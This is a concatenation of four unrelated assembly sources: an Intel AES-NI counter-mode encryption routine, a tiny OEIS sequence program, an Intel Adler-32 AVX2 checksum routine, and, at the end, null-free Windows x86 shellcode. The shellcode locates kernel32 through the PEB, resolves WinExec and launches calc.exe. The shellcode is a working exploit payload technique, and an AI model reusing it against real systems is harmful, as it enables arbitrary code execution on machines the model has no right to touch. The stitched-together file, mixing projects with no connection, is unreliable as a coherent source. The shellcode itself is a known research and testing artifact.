############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 u128_str: .byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 .p2align 4, 0x90 .globl y8_EncryptCTR_RIJ128pipe_AES_NI .type y8_EncryptCTR_RIJ128pipe_AES_NI, @function y8_EncryptCTR_RIJ128pipe_AES_NI: push %rbx mov (16)(%rsp), %rax movdqu (%rax), %xmm8 movdqu (%r9), %xmm0 movdqa %xmm8, %xmm9 pandn %xmm0, %xmm9 movq (%r9), %rbx movq (8)(%r9), %rax bswap %rbx bswap %rax movslq %r8d, %r8 sub $(64), %r8 jl .Lshort_inputgas_1 .Lblks_loopgas_1: movdqa u128_str(%rip), %xmm4 pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb %xmm4, %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm1 pinsrq $(1), %rbx, %xmm1 pshufb %xmm4, %xmm1 pand %xmm8, %xmm1 por %xmm9, %xmm1 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm2 pinsrq $(1), %rbx, %xmm2 pshufb %xmm4, %xmm2 pand %xmm8, %xmm2 por %xmm9, %xmm2 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm3 pinsrq $(1), %rbx, %xmm3 pshufb %xmm4, %xmm3 pand %xmm8, %xmm3 por %xmm9, %xmm3 movdqa (%rcx), %xmm4 mov %rcx, %r10 pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 mov %rdx, %r11 sub $(1), %r11 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 aesenc %xmm4, %xmm1 aesenc %xmm4, %xmm2 aesenc %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 dec %r11 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 aesenclast %xmm4, %xmm1 aesenclast %xmm4, %xmm2 aesenclast %xmm4, %xmm3 movdqu (%rdi), %xmm4 movdqu (16)(%rdi), %xmm5 movdqu (32)(%rdi), %xmm6 movdqu (48)(%rdi), %xmm7 add $(64), %rdi pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) pxor %xmm5, %xmm1 movdqu %xmm1, (16)(%rsi) pxor %xmm6, %xmm2 movdqu %xmm2, (32)(%rsi) pxor %xmm7, %xmm3 movdqu %xmm3, (48)(%rsi) add $(1), %rax adc $(0), %rbx add $(64), %rsi sub $(64), %r8 jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %r8 jz .Lquitgas_1 lea (,%rdx,4), %r10 lea (-144)(%rcx,%r10,4), %r10 .Lsingle_blk_loopgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 pxor (%rcx), %xmm0 cmp $(12), %rdx jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesenc (-64)(%r10), %xmm0 aesenc (-48)(%r10), %xmm0 .Lkey_192_sgas_1: aesenc (-32)(%r10), %xmm0 aesenc (-16)(%r10), %xmm0 .Lkey_128_sgas_1: aesenc (%r10), %xmm0 aesenc (16)(%r10), %xmm0 aesenc (32)(%r10), %xmm0 aesenc (48)(%r10), %xmm0 aesenc (64)(%r10), %xmm0 aesenc (80)(%r10), %xmm0 aesenc (96)(%r10), %xmm0 aesenc (112)(%r10), %xmm0 aesenc (128)(%r10), %xmm0 aesenclast (144)(%r10), %xmm0 add $(1), %rax adc $(0), %rbx sub $(16), %r8 jl .Lpartial_blockgas_1 movdqu (%rdi), %xmm4 pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) add $(16), %rdi add $(16), %rsi cmp $(0), %r8 jz .Lquitgas_1 jmp .Lsingle_blk_loopgas_1 .Lpartial_blockgas_1: add $(16), %r8 .Lpartial_block_loopgas_1: pextrb $(0), %xmm0, %r10d psrldq $(1), %xmm0 movzbl (%rdi), %r11d xor %r11, %r10 movb %r10b, (%rsi) inc %rdi inc %rsi dec %r8 jnz .Lpartial_block_loopgas_1 .Lquitgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 movdqu %xmm0, (%r9) pop %rbx ret .Lfe1: .size y8_EncryptCTR_RIJ128pipe_AES_NI, .Lfe1-(y8_EncryptCTR_RIJ128pipe_AES_NI)
; A131422: (A000012 * A127773) + (A127773 * A000012) - A000012. ; 1,3,5,6,8,11,10,12,15,19,15,17,20,24,29,21,23,26,30,35,41,28,30,33,37,42,48,55,36,38,41,45,50,56,63,71,45,47,50,54,59,65,72,80,89,55,57,60,64,69,75,82,90,99,109 mov $3,$0 lpb $0 mov $2,$0 sub $0,1 add $1,1 trn $0,$1 bin $2,2 lpe add $2,4 add $1,$2 sub $1,3 add $1,$3
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2017 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; uint32_t adler32_avx2(uint32_t init, const unsigned char *buf, uint64_t len) %define LIMIT 5552 %define BASE 0xFFF1 ; 65521 %define CHUNKSIZE 16 %define CHUNKSIZE_M1 (CHUNKSIZE-1) %include "reg_sizes.asm" default rel [bits 64] ; need to keep free: eax, ecx, edx %ifidn __OUTPUT_FORMAT__, elf64 %define arg1 rdi %define arg2 rsi %define arg3 rdx %define init_d edi %define data r9 %define size r10 %define s r11 %define a_d r12d %define b_d r8d %define end r13 %define func(x) x: endbranch %macro FUNC_SAVE 0 push r12 push r13 %endmacro %macro FUNC_RESTORE 0 pop r13 pop r12 %endmacro %endif %ifidn __OUTPUT_FORMAT__, win64 %define arg1 rcx %define arg2 rdx %define arg3 r8 %define init_d r12d %define data r9 %define size r10 %define s r11 %define a_d esi %define b_d edi %define end r13 %define stack_size 2*16 + 5*8 ; must be an odd multiple of 8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size vmovdqa [rsp + 0*16], xmm6 vmovdqa [rsp + 1*16], xmm7 save_reg rdi, 2*16 + 0*8 save_reg rsi, 2*16 + 1*8 save_reg r12, 2*16 + 2*8 save_reg r13, 2*16 + 3*8 end_prolog mov init_d, ecx ; initalize init_d from arg1 to keep ecx free %endmacro %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp + 0*16] vmovdqa xmm7, [rsp + 1*16] mov rdi, [rsp + 2*16 + 0*8] mov rsi, [rsp + 2*16 + 1*8] mov r12, [rsp + 2*16 + 2*8] mov r13, [rsp + 2*16 + 3*8] add rsp, stack_size %endmacro %endif %define ya ymm0 %define yb ymm1 %define ydata0 ymm2 %define ydata1 ymm3 %define ysa ymm4 %define ydata ysa %define ytmp0 ydata0 %define ytmp1 ydata1 %define ytmp2 ymm5 %define xa xmm0 %define xb xmm1 %define xtmp0 xmm2 %define xtmp1 xmm3 %define xsa xmm4 %define xtmp2 xmm5 %define yshuf0 ymm6 %define yshuf1 ymm7 [bits 64] default rel section .text mk_global adler32_avx2_4, function func(adler32_avx2_4) FUNC_SAVE vmovdqa yshuf0, [SHUF0] vmovdqa yshuf1, [SHUF1] mov data, arg2 mov size, arg3 mov b_d, init_d shr b_d, 16 and init_d, 0xFFFF cmp size, 32 jb .lt64 vmovd xa, init_d vpxor yb, yb, yb .sloop1: mov s, LIMIT cmp s, size cmova s, size ; s = min(size, LIMIT) lea end, [data + s - CHUNKSIZE_M1] cmp data, end jae .skip_loop_1a align 32 .sloop1a: ; do CHUNKSIZE adds vbroadcastf128 ydata, [data] add data, CHUNKSIZE vpshufb ydata0, ydata, yshuf0 vpaddd ya, ya, ydata0 vpaddd yb, yb, ya vpshufb ydata1, ydata, yshuf1 vpaddd ya, ya, ydata1 vpaddd yb, yb, ya cmp data, end jb .sloop1a .skip_loop_1a: add end, CHUNKSIZE_M1 test s, CHUNKSIZE_M1 jnz .do_final ; either we're done, or we just did LIMIT sub size, s ; reduce vpslld yb, 3 ; b is scaled by 8 vpmulld ysa, ya, [A_SCALE] ; scaled a ; compute horizontal sums of ya, yb, ysa vextracti128 xtmp0, ya, 1 vextracti128 xtmp1, yb, 1 vextracti128 xtmp2, ysa, 1 vpaddd xa, xa, xtmp0 vpaddd xb, xb, xtmp1 vpaddd xsa, xsa, xtmp2 vphaddd xa, xa, xa vphaddd xb, xb, xb vphaddd xsa, xsa, xsa vphaddd xa, xa, xa vphaddd xb, xb, xb vphaddd xsa, xsa, xsa vmovd eax, xa xor edx, edx mov ecx, BASE div ecx ; divide edx:eax by ecx, quot->eax, rem->edx mov a_d, edx vpsubd xb, xb, xsa vmovd eax, xb add eax, b_d xor edx, edx mov ecx, BASE div ecx ; divide edx:eax by ecx, quot->eax, rem->edx mov b_d, edx test size, size jz .finish ; continue loop vmovd xa, a_d vpxor yb, yb jmp .sloop1 .finish: mov eax, b_d shl eax, 16 or eax, a_d jmp .end .lt64: mov a_d, init_d lea end, [data + size] test size, size jnz .final_loop jmp .zero_size ; handle remaining 1...15 bytes .do_final: ; reduce vpslld yb, 3 ; b is scaled by 8 vpmulld ysa, ya, [A_SCALE] ; scaled a vextracti128 xtmp0, ya, 1 vextracti128 xtmp1, yb, 1 vextracti128 xtmp2, ysa, 1 vpaddd xa, xa, xtmp0 vpaddd xb, xb, xtmp1 vpaddd xsa, xsa, xtmp2 vphaddd xa, xa, xa vphaddd xb, xb, xb vphaddd xsa, xsa, xsa vphaddd xa, xa, xa vphaddd xb, xb, xb vphaddd xsa, xsa, xsa vpsubd xb, xb, xsa vmovd a_d, xa vmovd eax, xb add b_d, eax align 32 .final_loop: movzx eax, byte[data] add a_d, eax inc data add b_d, a_d cmp data, end jb .final_loop .zero_size: mov eax, a_d xor edx, edx mov ecx, BASE div ecx ; divide edx:eax by ecx, quot->eax, rem->edx mov a_d, edx mov eax, b_d xor edx, edx mov ecx, BASE div ecx ; divide edx:eax by ecx, quot->eax, rem->edx shl edx, 16 or edx, a_d mov eax, edx .end: FUNC_RESTORE ret endproc_frame section .data align 32 A_SCALE: dq 0x0000000100000000, 0x0000000300000002 dq 0x0000000500000004, 0x0000000700000006 SHUF0: dq 0xFFFFFF01FFFFFF00, 0xFFFFFF03FFFFFF02 dq 0xFFFFFF05FFFFFF04, 0xFFFFFF07FFFFFF06 SHUF1: dq 0xFFFFFF09FFFFFF08, 0xFFFFFF0BFFFFFF0A dq 0xFFFFFF0DFFFFFF0C, 0xFFFFFF0FFFFFFF0E
; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com> ; and Peter Ferrie <peter.ferrie@gmail.com> ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ ; All rights reserved. See COPYRIGHT.txt for details. ; Windows x86 null-free shellcode that executes calc.exe. ; Works in any x86 application for Windows 5.0-6.3 all service packs. BITS 32 SECTION .text %include 'type-conversion.asm' ; WinExec *requires* 4 byte stack alignment %ifndef PLATFORM_INDEPENDENT %undef USE_COMMON ; not allowed as user-supplied global _shellcode ; _ is needed because LINKER will add it automatically. _shellcode: %ifdef FUNC PUSHAD %endif %ifdef STACK_ALIGN %ifdef FUNC MOV EAX, ESP AND ESP, -4 PUSH EAX %else AND ESP, -4 %endif %endif XOR EDX, EDX ; EDX = 0 %elifndef USE_COMMON %ifdef FUNC PUSHAD %endif DEC EDX %endif %ifndef USE_COMMON PUSH EDX ; Stack = 0 PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc", 0 PUSH ESP POP ECX ; ECX = &("calc") PUSH EDX ; Stack = 0, "calc", 0 PUSH ECX ; Stack = &("calc"), 0, "calc", 0 ; Stack contains arguments for WinExec MOV ESI, [FS:EDX + 0x30] ; ESI = [TEB + 0x30] = PEB %else PUSH ECX ; Stack = &("calc"), 0, "calc", 0 ; Stack contains arguments for WinExec MOV ESI, [FS:EDX + 0x2F] ; ESI = [TEB + 0x30] = PEB (EDX=1) %endif MOV ESI, [ESI + 0x0C] ; ESI = [PEB + 0x0C] = PEB_LDR_DATA MOV ESI, [ESI + 0x0C] ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process) LODSD ; EAX = InLoadOrder[1] (ntdll) MOV ESI, [EAX] ; ESI = InLoadOrder[2] (kernel32) MOV EDI, [ESI + 0x18] ; EDI = [InLoadOrder[2] + 0x18] = kernel32 DllBase ; Found kernel32 base address (EDI) %ifdef USE_COMMON MOV DL, 0x50 JMP shellcode_common %else MOV EBX, [EDI + 0x3C] ; EBX = [kernel32 + 0x3C] = offset(PE header) ; PE header (EDI+EBX) = @0x00 0x04 byte signature ; @0x04 0x18 byte COFF header ; @0x18 PE32 optional header (EDI + EBX + 0x18) MOV EBX, [EDI + EBX + 0x18 + 0x60] ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table) ; Found export table offset (EBX) MOV ESI, [EDI + EBX + 0x20] ; ESI = [kernel32 + offset(export table) + 0x20] = offset(names table) ADD ESI, EDI ; ESI = kernel32 + offset(names table) = &(names table) ; Found export names table (ESI) MOV EDX, [EDI + EBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table) ; Found export ordinals table (EDX) find_winexec_x86: ; speculatively load ordinal (EBP) MOVZX EBP, WORD [EDI + EDX] ; EBP = [kernel32 + offset(ordinals table) + offset] = function ordinal INC EDX INC EDX ; EDX = offset += 2 LODSD ; EAX = &(names table[function number]) = offset(function name) CMP [EDI + EAX], DWORD B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ? JNE find_winexec_x86 ; MOV ESI, [EDI + EBX + 0x1C] ; ESI = [kernel32 + offset(export table) + 0x1C] = offset(address table)] = offset(address table) ADD ESI, EDI ; ESI = kernel32 + offset(address table) = &(address table) ADD EDI, [ESI + EBP * 4] ; EDI = kernel32 + [&(address table)[WinExec ordinal]] = offset(WinExec) = &(WinExec) CALL EDI ; WinExec(&("calc"), 0); %ifndef PLATFORM_INDEPENDENT %ifdef FUNC POP EAX POP EAX %ifdef STACK_ALIGN POP ESP %endif POPAD ; RET %endif %elifdef FUNC POP EAX POP EAX POPAD %ifdef STACK_ALIGN POP ESP %endif %ifdef CLEAN XCHG EDX, EAX POP EAX %endif ; RET %endif %endif